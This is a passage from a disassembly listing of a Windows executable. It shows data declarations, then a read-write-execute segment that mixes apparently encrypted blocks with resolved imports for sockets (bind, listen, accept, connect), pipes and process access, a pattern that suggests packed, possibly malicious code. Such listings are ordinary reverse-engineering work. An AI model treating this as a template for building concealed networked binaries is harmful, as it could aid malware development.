sub_415C17+3DCo word_4E30E6 dw 0 ; DATA XREF: sub_415C17+329w ; sub_415C17+34Er ... dword_4E30E8 dd 0 ; sub_415C17+3CDw dword_4E30EC dd 0 ; sub_415C17+39Fw ... byte_4E30F0 db 0 ; DATA XREF: sub_415C17+305r ; sub_415C17+313w byte_4E30F1 db 0 ; DATA XREF: sub_415C17+2CFw ; sub_415C17+398w ... word_4E30F2 dw 0 ; DATA XREF: sub_415C17+2DDw word_4E30F4 dw 0 ; DATA XREF: sub_415C17+3EDw ; sub_415C17+41Ew word_4E30F6 dw 0 ; DATA XREF: sub_415C17+322w word_4E30F8 dw 0 ; DATA XREF: sub_415C17+354w ; sub_415C17+426o word_4E30FA dw 0 ; DATA XREF: sub_415C17+363w ; sub_415C17+3FDw dword_4E30FC dd 0 dd 2 dup(0) dword_4E3108 dd 0 ; sub_415C17+40Bo dword_4E310C dd 0 byte_4E3110 db 0 ; DATA XREF: sub_415C17+335w byte_4E3111 db 0 ; DATA XREF: sub_415C17+33Bw word_4E3112 dw 0 ; DATA XREF: sub_415C17+348w dword_4E3114 dd 7 dup(0) dword_4E3130 dd 0 ; sub_415C17+42Fr dword_4E3134 dd 101h dup(0) ; sub_415C17+472o dword_4E3538 dd 302h dup(0) ; seg000:00416291o ... db 3 dup(0) byte_4E4143 db 0 ; DATA XREF: seg002:004509DCo dd 2 dup(0) dword_4E414C dd 0 dword_4E4150 dd 1FDh dup(0) db 2 dup(0) word_4E4946 dw 0 ; DATA XREF: seg002:0045081Co ; seg002:00450824o dd 27Fh dup(0) db 0 byte_4E5345 db 3 dup(0) ; DATA XREF: seg002:004509A8o dd 87Ch dup(0) dword_4E7538 dd 3 dup(0) ; seg000:004162D8o ... dword_4E7544 dd 0Fh dup(0) dword_4E7580 dd 0 ; sub_416F00:loc_417082w ... dword_4E7584 dd 0 ; sub_416F00+3Aw ... dd 0 dword_4E758C dd 0 ; seg000:004170DCr dd 7Fh dup(0) dword_4E778C dd 0 ; seg000:004170ECw dd 1944h dup(0) dword_4EDCA0 dd 0 dword_4EDCA4 dd 0 ; seg002:0044CF54o dword_4EDCA8 dd 0 dword_4EDCAC dd 0 dword_4EDCB0 dd 0 dword_4EDCB4 dd 0 dword_4EDCB8 dd 0 dword_4EDCBC dd 0 dword_4EDCC0 dd 0 dword_4EDCC4 dd 0 dword_4EDCC8 dd 0 dword_4EDCCC dd 0 dword_4EDCD0 dd 0 dword_4EDCD4 dd 82h dup(0) dword_4EDEDC dd 17h dup(0) ; sub_418184+131o ... dword_4EDF38 dd 80h dup(0) ; seg000:00418FC2o dword_4EE138 dd 0 ; sub_4184FE+4Dr ... dword_4EE13C dd 17h dup(0) ; sub_418DE9+12Do dword_4EE198 dd 80h dup(0) ; sub_41843F+7Do ... byte_4EE398 db 0 ; DATA XREF: sub_4184FE+29r ; sub_4184FE+34w align 4 dword_4EE39C dd 80h dup(0) ; sub_418755+88o ... dword_4EE59C dd 81h dup(0) ; sub_41805B+50o ... dword_4EE7A0 dd 0 ; sub_419602+123w dword_4EE7A4 dd 0 ; seg000:004194E4r ... dword_4EE7A8 dd 0 ; sub_419602+83o dword_4EE7AC dd 0 ; sub_419602+11Bw dword_4EE7B0 dd 0Dh dup(0) ; sub_419602:loc_419743o dword_4EE7E4 dd 0 dd 0 dword_4EE7EC dd 0 dword_4EE7F0 dd 0 dword_4EE7F4 dd 0 dword_4EE7F8 dd 0Eh dup(0) dword_4EE830 dd 2 dup(0) byte_4EE838 db 0 ; DATA XREF: seg000:0041AAF2o ; seg000:0041AB35r align 4 dd 3Fh dup(0) word_4EE938 dw 0 ; DATA XREF: sub_41A764+2Fr align 4 dword_4EE93C dd 2 dup(0) dword_4EE944 dd 2 dup(0) dword_4EE94C dd 2 dup(0) dword_4EE954 dd 0 ; sub_41B330:loc_41B76Br ... dword_4EE958 dd 0 ; sub_41AF30+21Cw ... dword_4EE95C dd 0 ; sub_41AF30+252r ... dword_4EE960 dd 0 ; sub_41AF30+22Aw ... dword_4EE964 dd 0 ; sub_41AF30+243w ... dword_4EE968 dd 0 dword_4EE96C dd 0 ; seg000:00420B5Cw ... dword_4EE970 dd 0 dword_4EE974 dd 0 ; seg000:00420B85r dword_4EE978 dd 0 ; seg000:00420B8Er dword_4EE97C dd 0 dword_4EE980 dd 0 align 8 dword_4EE988 dd 0 ; sub_42C180+81r ... dword_4EE98C dd 0 dword_4EE990 dd 0 ; sub_4360C0+6r ... align 8 dword_4EE998 dd 0 ; sub_42C2D0+3Cr align 10h byte_4EE9A0 db 0 ; DATA XREF: sub_41F050+8r align 4 dword_4EE9A4 dd 0 dword_4EE9A8 dd 0 align 10h dword_4EE9B0 dd 0 align 8 word_4EE9B8 dw 0 ; DATA XREF: seg000:0041EE0Dr word_4EE9BA dw 0 ; DATA XREF: seg000:0041EDF8r db 2 dup(0) word_4EE9BE dw 0 ; DATA XREF: seg000:0041EDE2r word_4EE9C0 dw 0 ; DATA XREF: seg000:0041EDCDr word_4EE9C2 dw 0 ; DATA XREF: seg000:0041EDB8r align 8 dword_4EE9C8 dd 0 ; sub_424520+2CEw ... dword_4EE9CC dd 0 ; seg000:0041F32Fw dword_4EE9D0 dd 0 dword_4EE9D4 dd 0 ; sub_42C180+1Br ... dd 0 dword_4EE9DC dd 0 ; sub_420CD0+3r ... dword_4EE9E0 dd 0 ; seg000:00420ED8w ... dword_4EE9E4 dd 0 ; sub_41AE60+Fr ... dword_4EE9E8 dd 0 ; seg000:00421949w ... align 10h dword_4EE9F0 dd 6 dup(0) dword_4EEA08 dd 6 dup(0) dword_4EEA20 dd 6 dup(0) dword_4EEA38 dd 6 dup(0) dword_4EEA50 dd 0 ; seg000:00426153w ... dword_4EEA54 dd 0 ; sub_4269E0+C9w ... dd 0 dword_4EEA5C dd 0 ; sub_42B320+140o word_4EEA60 dw 0 ; DATA XREF: sub_42B320+E8r align 4 dword_4EEA64 dd 0 ; sub_42B320+159o dword_4EEA68 dd 0 ; sub_42B080+DDw ... align 10h dword_4EEA70 dd 0 ; sub_41FF60:loc_4200F6r ... dword_4EEA74 dd 0 dword_4EEA78 dd 0 dword_4EEA7C dd 0 dword_4EEA80 dd 0 ; sub_41FF60+16Cr ... dword_4EEA84 dd 0 dword_4EEA88 dd 0 ; seg000:0042BB8Bw ... dword_4EEA8C dd 41h dup(0) dword_4EEB90 dd 0 ; sub_42C7E0+2Cw ... dword_4EEB94 dd 0 ; sub_42CAE0+34r dword_4EEB98 dd 0 ; seg000:0042D0F2w ... dword_4EEB9C dd 0 ; seg000:0042D105w ... dword_4EEBA0 dd 0 ; seg000:0042D119w ... dword_4EEBA4 dd 0 ; seg000:0042D12Cw ... dword_4EEBA8 dd 0 ; seg000:0042D095w dword_4EEBAC dd 0 ; sub_42D5C0+39w ... dword_4EEBB0 dd 0 ; sub_42D5C0:loc_42D633r ... dword_4EEBB4 dd 0 ; sub_42D5C0+8Br ... dword_4EEBB8 dd 0 ; seg000:0042E086w ... dword_4EEBBC dd 0 dword_4EEBC0 dd 0 ; seg000:0042EE4Eo ... align 8 dword_4EEBC8 dd 0 ; seg000:0042EE58o dword_4EEBCC dd 10h dup(0) word_4EEC0C dw 0 ; DATA XREF: sub_42F1C0+FCr word_4EEC0E dw 0 ; DATA XREF: seg000:0042EE68r ; sub_42F1C0+145r ... word_4EEC10 dw 0 ; DATA XREF: sub_42F1C0+132r word_4EEC12 dw 0 ; DATA XREF: sub_42F1C0+13Br ; sub_42F1C0+18Br word_4EEC14 dw 0 ; DATA XREF: sub_42F1C0+126r ; sub_42F1C0+181r word_4EEC16 dw 0 ; DATA XREF: sub_42F1C0+11Cr ; sub_42F1C0+177r word_4EEC18 dw 0 ; DATA XREF: sub_42F1C0+113r ; sub_42F1C0+16Er word_4EEC1A dw 0 ; DATA XREF: sub_42F1C0+109r ; sub_42F1C0+164r dword_4EEC1C dd 0 ; seg000:0042EEAEr dword_4EEC20 dd 10h dup(0) word_4EEC60 dw 0 ; DATA XREF: sub_42F1C0+43r word_4EEC62 dw 0 ; DATA XREF: seg000:0042EE8Br ; sub_42F1C0+8Cr ... word_4EEC64 dw 0 ; DATA XREF: sub_42F1C0+79r word_4EEC66 dw 0 ; DATA XREF: sub_42F1C0+82r ; sub_42F1C0+D2r word_4EEC68 dw 0 ; DATA XREF: sub_42F1C0+6Dr ; sub_42F1C0+C8r word_4EEC6A dw 0 ; DATA XREF: sub_42F1C0+63r ; sub_42F1C0+BEr word_4EEC6C dw 0 ; DATA XREF: sub_42F1C0+5Ar ; sub_42F1C0+B5r word_4EEC6E dw 0 ; DATA XREF: sub_42F1C0+50r ; sub_42F1C0+ABr dword_4EEC70 dd 0 ; seg000:0042EEA9r dword_4EEC74 dd 0 ; seg000:0042EF76r ... dword_4EEC78 dd 0 ; sub_42ED80+16r ... dword_4EEC7C dd 0 ; sub_430650+37r ... dword_4EEC80 dd 0 ; sub_4307A0+86r ... dword_4EEC84 dd 0 ; sub_431120+93r ... dword_4EEC88 dd 0 ; sub_431120+A3r ... dword_4EEC8C dd 0 ; sub_431120+7Cr ... dword_4EEC90 dd 0 ; sub_431450+B1r ... dword_4EEC94 dd 0 ; seg000:00431B65r ... dword_4EEC98 dd 0 ; seg000:00431B87r ... dword_4EEC9C dd 3 dup(0) ; sub_42B080+F3o word_4EECA8 dw 0 ; DATA XREF: seg000:004318E6r align 10h word_4EECB0 dw 0 ; DATA XREF: sub_431580+Fr align 4 db 2 dup(0) word_4EECB6 dw 0 ; DATA XREF: sub_431120+Fr db 2 dup(0) word_4EECBA dw 0 ; DATA XREF: sub_430880+Fr word_4EECBC dw 0 ; DATA XREF: sub_430880+1Ar align 10h dword_4EECC0 dd 0 ; sub_432030+E5w ... dword_4EECC4 dd 0 ; sub_432030+1Br ... dword_4EECC8 dd 0 ; sub_432030+101r ... dword_4EECCC dd 0 ; sub_431F70+47r ... dword_4EECD0 dd 0 ; seg000:00431D2Br ... dword_4EECD4 dd 0 ; seg000:00431D60r ... dword_4EECD8 dd 0 ; seg000:loc_431DEEr ... dword_4EECDC dd 0 ; sub_432030+DFr ... dword_4EECE0 dd 0 ; seg000:00431D0Cw ... dword_4EECE4 dd 0 byte_4EECE8 db 0 ; DATA XREF: sub_435830+18Fo ; sub_435830+1F2r ... align 10h dword_4EECF0 dd 0 ; seg002:off_45101Co ... dword_4EECF4 dd 0 ; seg000:00435B16w ... dword_4EECF8 dd 0 ; sub_436680+41w ... dword_4EECFC dd 0 ; sub_436820+41w ... dword_4EED00 dd 0 ; sub_4369D0+4Bw ... byte_4EED04 db 0 ; DATA XREF: sub_40D9FEr sub_40D9FE+9w align 4 dword_4EED08 dd 0 ; sub_4349B0+A4w ... dword_4EED0C dd 0 ; sub_434B40+1EDw ... dword_4EED10 dd 0 ; sub_420960+32r ... dword_4EED14 dd 0 ; sub_41FEE0+1Ao ... align 10h dword_4EED20 dd 0 ; sub_41EF20+109r ... dd 3Fh dup(0) dword_4EEE20 dd 0 ; sub_424040+7r ... dword_4EEE24 dd 0 ; seg000:00425F4Aw ... align 10h word_4EEE30 dw 0 ; DATA XREF: seg000:00425F9Aw ; seg000:004260F3w ... align 4 dd 2 dup(0) dword_4EEE3C dd 0 ; sub_426230+35w ... byte_4EEE40 db 0 ; DATA XREF: sub_4262B0+1CEw ; sub_4262B0+21Aw ... align 4 dd 3Fh dup(0) byte_4EEF40 db 0 ; DATA XREF: seg000:00425EABw ; sub_426230+22w byte_4EEF41 db 0 ; DATA XREF: sub_41DC60+92r ; seg000:00425F29r ... align 4 dd 40h dup(0) dword_4EF044 dd 0 ; sub_426230+3Fw ... dword_4EF048 dd 0 ; sub_422D50+9r ... dword_4EF04C dd 0 ; sub_422240+4A4r ... dword_4EF050 dd 0 ; sub_422240+5B2w ... dword_4EF054 dd 0 ; sub_422240+468r ... dword_4EF058 dd 0 ; sub_422120+3Ew ... dword_4EF05C dd 0 ; seg000:loc_4220C6r ... dword_4EF060 dd 0 ; sub_421BE0+5Cr ... dword_4EF064 dd 0 ; seg000:00420DFFw ... dword_4EF068 dd 0 ; sub_42C0C0:loc_42C0D2r ... dword_4EF06C dd 0 ; sub_41EF20+4Dr ... dd 4 dup(0) dword_4EF080 dd 400h dup(0) ; seg002:0044FA78o dword_4F0080 dd 0 ; sub_41EF20+Dw ... dword_4F0084 dd 0 ; sub_432F50+Er dword_4F0088 dd 0 ; sub_4265E0+16w ... dword_4F008C dd 0 ; sub_41FDB0:loc_41FE1Ar ... dword_4F0090 dd 0 ; sub_41FDB0+1Fr ... dword_4F0094 dd 0 ; seg000:0041C5EFw ... byte_4F0098 db 0 ; DATA XREF: sub_4377E0+5r ; sub_4377E0+11r ... align 1000h seg002 ends ; Section 4. (virtual address 000F1000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000F1000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg003 segment para public 'CODE' use32 assume cs:seg003 ;org 4F1000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 0F1244h, 2 dup(0) dd 0F150Ah, 0F14A4h, 0F103Ch, 2 dup(0) dd 0F1E4Eh, 0F129Ch, 5 dup(0) dd 850A4604h, 0B9F94064h, 0D8B554C9h, 0B01CF0C1h, 0EE166BFEh dd 76CECDFDh, 3B0C72AAh, 0E522F5A4h, 790A62D3h, 143B7ED6h dd 0B9B7597Bh, 0CA7876AAh, 0C0E4FAB8h, 0D9EF6F99h, 6B2C3470h dd 55A89A4Ch, 2C1FC9E2h, 0CBE664DFh, 617925E9h, 331FA793h dd 0CB158DEAh, 0C7DACB4Eh, 0F2EF2E5Dh, 2439F3B7h, 0DEBB56FDh dd 8B220F42h, 6819003Fh, 75FAB40Ch, 4CF9F52Ah, 3754477Fh dd 188086C5h, 0D2083883h, 1FD861B2h, 70BD24B3h, 5E59EA56h dd 49B56400h, 4E93CDE4h, 398CF596h, 0F284B43Dh, 0F16D0954h dd 0C3C5F783h, 0C8141CCh, 0A4792A21h, 0F8DFC89Dh, 78C48E51h dd 502C295Ch, 0C7F30C8Eh, 0F795497Dh, 8094361Ch, 4FB92F17h dd 0E6B44FCDh, 772507D0h, 67FA0C2Fh, 7CBF217Eh, 6F3421ABh dd 0E62DAE0Ah, 8ADCB32h, 5669FBE7h, 6A62478Fh, 1730946Bh dd 26CEBBBEh, 0B29E4AD2h, 0E3E86CE5h, 0CCB98117h, 54C24DD0h dd 6EEB4B0h, 106B690Ch, 76AB1535h, 1858D4C4h, 8FA6CC0Eh dd 2FFCA5DAh, 0C153CF02h, 1E362AEDh, 0AD590B44h, 0A13CFD6Ch dd 245FDB57h, 2440F9F9h, 4721D668h, 562891EEh, 3137399Dh dd 6CCD3E7Ah, 0AC925D88h, 58FA7CA5h, 962E45F7h, 0CEF21356h dd 0C1DC1EB3h, 0BA8BF333h, 88826B0Fh, 2E2E28DEh, 93611BC6h dd 895458A5h, 13366CA0h, 69C98ACDh, 0E0C0DA9h, 49F4EB7Eh dd 678BF611h, 0F36CBCE2h, 0C9B9C8DDh, 0BF9318B3h, 351C092Eh dd 24C155Bh, 38224312h, 84111A30h, 0B39B838Dh, 0A86A0244h dd 9060F594h, 6C717115h, 5F8CD1A2h, 2982744Ch, 2188F42Fh dd 0B4F0DA51h, 213D4917h, 0C57174FBh, 13548A88h, 6DF686E3h dd 809C9B44h, 0E36B6F1Ch, 0F19790EFh, 0AFA8D649h, 924FE73Bh dd 13261A33h, 50C9675Eh, 10ACEEDCh, 0E7B49CBBh, 2ACC9986h dd 51485BF0h, 363C07D2h, 2B5863DAh, 7DD3FE3Ch, 0 dd 0C2B7A946h, 7D8CA8D3h, 9B603C2Fh, 0C3976AA2h, 0D322E709h dd 4DA40988h, 968CFF0h, 764436E4h, 28C1DE5Dh, 7F16C81Ch dd 0A9C1B81Ah, 3CEE5F1Ch, 30E289D8h, 0B09CF76h, 6485994Ah dd 27456804h, 30F9B8D2h, 3F81FD1Ch, 3E9B74C7h, 66F8D25Ah dd 0CFF9223Ah, 0 dd 9B706097h, 22814366h dword_4F12A4 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_4369D0+3DAr dword_4F12A8 dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_4369D0+D9r dword_4F12AC dd 7C811562h ; resolved to->KERNEL32.GetLocaleInfoW ; sub_436680+8Br ... dd 838B4B62h, 1863F844h, 0CB7E04Fh, 3F02F4ADh, 44D1982Dh dd 63E2A65Eh dword_4F12C8 dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_4306D0+9r dword_4F12CC dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; seg000:0042E1DEr ... dd 0FE9E8C92h, 6ECF8482h, 0E6539136h dword_4F12DC dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsW ; sub_42C7E0+6Dr dword_4F12E0 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_42C7E0+171r dword_4F12E4 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsW ; sub_42C7E0+150r dd 57F6847Fh dword_4F12EC dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_4F12F0 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; seg000:0042BCE5r ... dword_4F12F4 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_40132F+29r ... dword_4F12F8 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; seg000:00407E59r ... dword_4F12FC dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_40A472+9Dr ... dd 84D8E7A8h, 20F52F72h, 5215C613h dword_4F130C dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_4014F8:loc_401A06r ... dword_4F1310 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_4014F8:loc_401742r ... dword_4F1314 dd 3A7574h ; seg000:00417FA9r ... dword_4F1318 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_4F131C dd 7C810637h ; resolved to->KERNEL32.CreateThread ; seg000:0040498Ar ... dd 305525FAh dword_4F1324 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess dd 8D5BE9F7h, 7C8286EEh, 9D672225h dword_4F1334 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_420150+8r dd 0EF66CA41h, 0E642DECh dword_4F1340 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; seg000:loc_4054B0r ... dword_4F1344 dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread dd 3348C7C0h, 30330B03h, 0A616F9B1h dword_4F1354 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA ; seg000:00431CF8r ... dword_4F1358 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; seg000:00417D7Dr ... dd 17677F9Ch dword_4F1360 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSection ; sub_41F0E0+35r ... dword_4F1364 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSection ; sub_41F070+35r ... dword_4F1368 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4F136C dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_40A146+22Fr ... dword_4F1370 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_40AA3E+65r ... dword_4F1374 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_40F788+25r ... dd 0EF492061h, 57C05DF8h dword_4F1380 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; seg000:0040E72Ar ... dword_4F1384 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_40E268+116r ... dd 0BE425D35h, 6848B0ABh dword_4F1390 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_419602+79r dword_4F1394 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipe ; sub_412160+23r ... dd 0A8A40B41h, 28F10AA2h, 36E6802Ch, 9881BFB5h, 0BAC68A4Ah dd 40B5F08Ah dword_4F13B0 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; seg000:00411282r dword_4F13B4 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileAdword_4F13B8 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_42B770+3Cr dd 104DA893h, 3F8C940Fh, 0FEBB209Bh dword_4F13C8 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_4161A7+Dr ... dd 4214D851h, 2ACFBEA5h dword_4F13D4 dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_4F13D8 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLock dd 60A859F7h, 0F38FDDB1h, 68C879DEh, 0CA90F945h, 51E94A32h dd 38E4C0E3h, 1EA5CC14h dword_4F13F8 dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiA dd 97F52399h, 0BB9DD368h, 16F04368h, 87DCDABDh, 70B4953Fh dd 56E4D0D1h dword_4F1414 dd 7C85E9BBh ; resolved to->KERNEL32.HeapValidate ; sub_421F70+39r dd 7EC49FCFh, 84CAED3Eh dword_4F1420 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_4F1424 dd 7C80977Ah ; resolved to->KERNEL32.InterlockedDecrement ; sub_41FEE0+6Dr ... dword_4F1428 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_420960+2Cr ... dd 687CBED2h, 0B71FE26Bh dword_4F1434 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_4F1438 dd 7C859B72h ; resolved to->KERNEL32.DebugBreak dd 12B63939h, 67830239h dword_4F1444 dd 7C809EF1h ; resolved to->KERNEL32.InitializeCriticalSection ; sub_4219A0+16r ... dd 7F78DF1Fh dword_4F144C dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_421D10+11Br ... dword_4F1450 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_421D10+1B0r ... dword_4F1454 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; seg000:004220B5r ... dword_4F1458 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroy ; seg000:004220E2r dword_4F145C dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_4F1460 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFree ; seg000:004220A0r ... dword_4F1464 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_422E60+A7r dd 64431F68h dword_4F146C dd 7C809BC5h ; resolved to->KERNEL32.TlsSetValue ; sub_425C30+50r ... dword_4F1470 dd 7C812D9Fh ; resolved to->KERNEL32.TlsAllocdword_4F1474 dd 7C8136D7h ; resolved to->KERNEL32.TlsFreedword_4F1478 dd 7C910340h ; resolved to->NTDLL.RtlSetLastWin32Errordword_4F147C dd 7C809740h ; resolved to->KERNEL32.TlsGetValue ; seg000:00425CECr dd 9A1A2C23h, 0F1758B7Eh, 0F7314EFEh, 33C1082Ah, 8846DC89h dd 3314D535h dword_4F1498 dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_437F60+33r dd 0B7F57D68h, 0 dword_4F14A4 dd 71AB8769h ; resolved to->WS2_32.WSASocketA ; seg000:004378AEr dword_4F14A8 dd 71AB46C9h ; resolved to->WS2_32.getsockopt ; seg000:004378A8r dword_4F14AC dd 71AB2B66h ; resolved to->WS2_32.ntohs ; seg000:004378A2r dword_4F14B0 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; seg000:00413894r ... dword_4F14B4 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_4146B0+8Cr ... dword_4F14B8 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_41037E+8Er ... dword_4F14BC dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; seg000:0043788Ar dword_4F14C0 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_4146B0+70r ... dword_4F14C4 dd 71AB3E00h ; resolved to->WS2_32.bind ; seg000:0043787Er dword_4F14C8 dd 71AB88D3h ; resolved to->WS2_32.listen ; seg000:00437878r dword_4F14CC dd 71AC1028h ; resolved to->WS2_32.accept ; seg000:00437872r dword_4F14D0 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_410301+68r ... dword_4F14D4 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_410301+41r ... dword_4F14D8 dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; seg000:00437860r dword_4F14DC dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; seg000:0040FD17r ... dword_4F14E0 dd 71AB615Ah ; resolved to->WS2_32.recv ; seg000:0040FEAEr ... dword_4F14E4 dd 71AB3B91h ; resolved to->WS2_32.socket ; seg000:0040FD21r ... dword_4F14E8 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_40EE3A+182r ... dword_4F14EC dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_4F14F0 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; seg000:0040EE05r ... dword_4F14F4 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_40CDDB+4Cr ... dd 0 dd 0A2F2003Dh, 54F6D256h, 0F73EA362h, 8AD20000h, 6955BB55h dd 6AC89838h, 2960000h, 9A771837h, 7D00C6h, 0E101BA7Ah dd 41DD7240h, 94D3F6h, 5565001Bh, 6EA6AAC7h, 2F19C17Ah dd 440078h, 9293F4Fh, 0C803F6A2h, 0C04A55DDh, 91DBh, 9AAF0124h dd 32E4D1D2h, 3E475FB3h, 6E3234B5h, 7CB3BACh, 1590000h dd 4E8AFA07h, 45F2C73Eh, 0B148A908h, 0C32FA0B7h, 99A8B0h dd 0BFE001C2h, 16F45D72h, 70662500h, 9B9h, 97B5011Ah, 35CC7BA9h dd 27AF78ECh, 2870h, 60CC013Eh, 2AA05573h, 0E246CE1h, 7384AEDDh dd 1260000h, 84FBDEF4h, 257E1694h, 7502B484h, 64A19154h dd 4A0000h, 0BDD9FE11h, 40E01C9Fh, 0E172CF85h, 570000h dd 99CAC9FEh, 8AF95006h, 23FBF3h, 0D6201EFh, 0F4C26466h dd 0B93A4155h, 0F80074h, 0C0A3D0EBh, 2D1AAE84h, 1A6718BEh dd 25772F87h, 657AB3h, 3F030028h, 345B5FC9h, 0F30F34h dd 5EDE0268h, 53AAA0B5h, 831246CFh, 103BC37Dh, 0B2FABF0Ch dd 10D0000h, 55E5B4B4h, 0D9D11497h, 89F480BCh, 4D41DEC6h dd 0F5FCh, 561402CEh, 6050AE9Ah, 49288725h, 0C09F816Ah dd 4FA18286h, 3F009Fh, 30FB584Ah, 0E5F54C17h, 110A0DCDh dd 16D0000h, 74C82777h, 9F3A507h, 87B7A0E9h, 29F0000h dd 28462B89h, 0C05544F7h, 564C01C3h, 0F5B44h, 0D0C90165h dd 56496293h, 0BDAF2ECCh, 705Dh, 0E16301DDh, 0C449307Ch dd 0EAF608h, 0D2300CEh, 7A1DF161h, 826E2B9Ch, 0D0116825h dd 3E07h, 9480011Ch, 0A649BE8h, 0EE7B0ABBh, 7D2C904Ch dd 1750000h, 66D4F2EBh, 1DA160F8h, 0BEEC64E1h, 7E007Ch dd 0C08445D6h, 2A2DF800h, 6C96h, 0EC6001C1h, 5640BF67h dd 1B5959AAh, 0F6D58DD9h, 60D194D2h, 0B14Ah, 9B960066h dd 81DA6816h, 0BF2DB874h, 87A191F7h, 0F1F25979h, 1C5Ah dd 5C3001ABh, 2086A9F1h, 98C2C2E2h, 777E29D5h, 0D560427Ah dd 19E2D360h, 2303B003h, 9379F389h, 0EA9B819Dh, 0F3E4h dd 8DAE0055h, 0EED32B0Fh, 296AABB6h, 99251EFCh, 93D62CC6h dd 419C98h, 995301E4h, 0F0CE0DA9h, 0D286813Bh, 7CEBD9B7h dd 0E53953F3h, 21800D8h, 67210D91h, 0E8229653h, 2DF0000h dd 79822F4Eh, 55683F5Fh, 2A7009Eh, 5C12DE37h, 1959307Eh dd 0F14978AAh, 0A2355371h, 340099h, 0A087416Eh, 46168189h dd 5F62E8h, 0B99F02D2h, 8797A66Fh, 0D8735927h, 5E55DF90h dd 9CE293F0h, 29E0005h, 272C52D9h, 7E5B8B3Dh, 0EF4D581Dh dd 72DAE52Fh, 630000h, 5D440CD8h, 8D824FD2h, 627F128Eh dd 6CAB7Dh, 486900F7h, 0CB34E9E8h, 61FE7749h, 0C794592Ah dd 0F18D9Ch, 0B3300043h, 4130686h, 6BCEC07Bh, 16E0000h dd 0CBB8D41h, 767790F3h, 7952CCCCh, 4309h, 78CA00FBh, 6E5386D3h dd 9DBC49E7h, 10B2E76Eh, 1120000h, 7706385Eh, 0D0D8F3DAh dd 7C3307h, 28F00090h, 0CF9D6569h, 0E76FEBh, 91DC008Ah dd 575C4D2Ah, 0B4DEF897h, 35646830h, 0F98A9B3Bh, 303Fh dd 2DA50089h, 0DF83AE06h, 0F1EEFC3Bh, 8CFD7845h, 76F36E34h dd 0A5850603h, 9D005Eh, 336D8B8h, 0C53E6A43h, 20C09EDEh dd 94009Ch, 0DC979EDAh, 0F2CC241Ah, 9A48D2E7h, 0F310h dd 1538026Ah, 21557264h, 9870DAFCh, 7F723922h, 2410000h dd 0E9E3E61Bh, 0CEB1597Ch, 0D7136DBAh, 7B3C1CA4h, 67447A9Ch dd 2CC00C7h, 0E26FCABFh, 0E76BEEh, 0C9700A87h, 0CA1CA73Eh dd 33FC8E0Fh, 3606h, 